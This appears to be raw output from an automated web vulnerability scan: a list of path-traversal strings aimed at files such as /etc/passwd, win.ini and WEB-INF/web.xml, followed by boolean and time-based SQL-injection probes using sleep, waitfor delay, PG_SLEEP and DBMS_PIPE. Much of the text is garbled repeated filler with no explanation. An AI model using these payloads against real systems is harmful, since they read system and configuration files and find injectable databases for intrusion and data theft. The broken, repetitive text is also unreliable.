././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
-
/../../../../../../../etc/passwd
-
/WEB-INF/web.xml
-
C:\WINDOWS\system32\drivers\etc\hosts
-
../../../../../../../../../../windows/win.ini%00.jpg
-
/../../../../../../../../../../boot.ini
-
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
-
................\windows\win.ini
-
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
-
/.\./.\./.\./.\./.\./.\./windows/win.ini
-
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
-
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
-
unexisting/../../../../../../../../../../windows/win.ini....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................\
-
WEB-INF/web.xml
-
WEB-INF\web.xml
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
-1 OR 2+25-25-1=0+0+0+1 --
-
-1 OR 3+25-25-1=0+0+0+1 --
-
-1 OR 2+97-97-1=0+0+0+1
-
-1 OR 3+97-97-1=0+0+0+1
-
-1' OR 2+933-933-1=0+0+0+1 --
-
-1' OR 3+933-933-1=0+0+0+1 --
-
-1' OR 2+243-243-1=0+0+0+1 or 'NoJxWqI7'='
-
-1' OR 3+243-243-1=0+0+0+1 or 'NoJxWqI7'='
-
-1" OR 2+408-408-1=0+0+0+1 --
-
-1" OR 3+408-408-1=0+0+0+1 --
-
if(now()=sysdate(),sleep(15),0)
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
-
1 waitfor delay '0:0:15' --
-
IXD1jxgG'; waitfor delay '0:0:15' --
-
v8fVZGUk' OR 265=(SELECT 265 FROM PG_SLEEP(15))--
-
zyX4xyBa') OR 60=(SELECT 60 FROM PG_SLEEP(15))--
-
iqPyOz8v')) OR 878=(SELECT 878 FROM PG_SLEEP(15))--
-
1***
`
- `***'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
@@h6fHK
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
-1 OR 2+597-597-1=0+0+0+1 --
-
1***
`
- `***
-
-1 OR 3+597-597-1=0+0+0+1 --
-
-1 OR 2+148-148-1=0+0+0+1
-
-1 OR 3+148-148-1=0+0+0+1
-
-1' OR 2+886-886-1=0+0+0+1 --
-
1***
`
- `***
-
-1' OR 3+886-886-1=0+0+0+1 --
-
1***
`
- `***
-
-1' OR 2+703-703-1=0+0+0+1 or 'vTkLPVI1'='
-
1***
`
- `***
-
-1' OR 3+703-703-1=0+0+0+1 or 'vTkLPVI1'='
-
1***
`
- `***
-
-1" OR 2+174-174-1=0+0+0+1 --
-
1***
`
- `***
-
-1" OR 3+174-174-1=0+0+0+1 --
-
1***
`
- `***
-
if(now()=sysdate(),sleep(15),0)
-
1***
`
- `***
-
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
-
1***
`
- `***
-
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-
1***
`
- `***
-
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
-
1***
`
- `***
-
-1; waitfor delay '0:0:15' --
-
1***
`
- `***
-
-1); waitfor delay '0:0:15' --
-
1***
`
- `***
-
1 waitfor delay '0:0:15' --
-
1***
`
- `***
-
mIKW3gBB'; waitfor delay '0:0:15' --
-
1***
`
- `***
-
-5 OR 795=(SELECT 795 FROM PG_SLEEP(15))--
-
1***
`
- `***
-
-5) OR 727=(SELECT 727 FROM PG_SLEEP(15))--
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
1***
`
- `***
-
-1)) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
-
lt1yAOuh' OR 618=(SELECT 618 FROM PG_SLEEP(15))--
-
0pdjXzMb') OR 530=(SELECT 530 FROM PG_SLEEP(15))--
-
cw3TsD39')) OR 626=(SELECT 626 FROM PG_SLEEP(15))--
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1'"
-
@@rZ1qb